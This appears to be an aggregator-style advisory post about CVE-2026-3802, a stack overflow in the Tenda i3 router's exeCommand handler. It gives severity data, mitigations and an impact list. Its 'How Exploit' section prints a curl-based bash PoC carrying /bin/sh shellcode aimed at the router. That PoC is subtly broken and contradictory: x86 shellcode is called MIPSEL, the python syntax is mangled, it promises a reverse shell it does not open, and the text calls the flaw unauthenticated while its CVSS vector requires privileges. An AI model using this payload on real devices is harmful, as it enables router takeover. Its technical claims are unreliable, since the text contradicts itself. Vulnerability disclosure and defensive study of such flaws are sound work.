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The vulnerability CVE-2026-3802 resides in the `formexeCommand` function within the `/goform/exeCommand` file of the Tenda i3 router firmware version 1.0.0.6(2204). This function is responsible for executing system commands via the `cmdinput` argument. Due to a lack of proper input validation or length checking, the function copies the contents of the `cmdinput` parameter into a fixed-size buffer located on the stack. By crafting an HTTP POST request with an overly long string for the `cmdinput` argument, an attacker can overflow this stack buffer. This stack-based buffer overflow (classified as CWE-121) overwrites adjacent memory regions, including the return address of the function. When the function returns, control is redirected to an address supplied by the attacker, typically pointing to shellcode injected within the same request. This allows for arbitrary code execution on the device with root privileges, enabling a full system compromise remotely without requiring authentication .
DailyCVE Form:
Platform: Tenda i3
Version: 1.0.0.6(2204)
Vulnerability : stack-based overflow
Severity: Critical
date: 2026-03-09
Prediction: No patch
What Undercode Say:
Analytics
The vulnerability was disclosed on March 8, 2026, by a security researcher pseudonym “Svigo” via VulDB. A proof-of-concept (PoC) exploit was made publicly available on GitHub on the same day. The CVSS base score is 8.8 (High), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating a network attack vector, low complexity, and high impact on confidentiality, integrity, and availability .
How Exploit:
The exploit targets the `cmdinput` parameter sent to the `/goform/exeCommand` endpoint. Below is a simplified Bash script using `curl` to demonstrate the overflow.
!/bin/bash Exploit PoC for CVE-2026-3802 Tenda i3 1.0.0.6(2204) - Remote Stack-Based Buffer Overflow TARGET_IP="192.168.0.1" PAYLOAD=$(python -c 'print "A" 512 + "\x90" 32 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') echo "[] Sending exploit payload to Tenda i3 at $TARGET_IP" curl -X POST http://$TARGET_IP/goform/exeCommand \ -d "cmdinput=$PAYLOAD" echo "[] Exploit sent. Check for reverse shell."
Note: The specific offset and shellcode may vary; this is a conceptual example based on typical MIPSEL architecture.
Protection from this CVE
- Isolation: Segment the network to prevent untrusted hosts from accessing the router’s management interface (typically ports 80/443).
- Firewall Rules: Implement strict ACLs to block external access to the router’s administrative web interface from the WAN side.
- Monitor: Check for unusual process execution or outbound connections from the router device.
- Alternative: As no vendor patch exists, consider replacing the affected device or disabling the web management interface entirely if not required .
Impact
Successful exploitation allows an unauthenticated, remote attacker to execute arbitrary code on the router. This can lead to a full device compromise, allowing the attacker to:
– Monitor and modify network traffic.
– Use the device as a pivot point for attacks on the internal network.
– Add the device to a botnet for DDoS attacks.
– Permanently brick the device through malicious firmware modification.
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Sources:
Reported By: nvd.nist.gov
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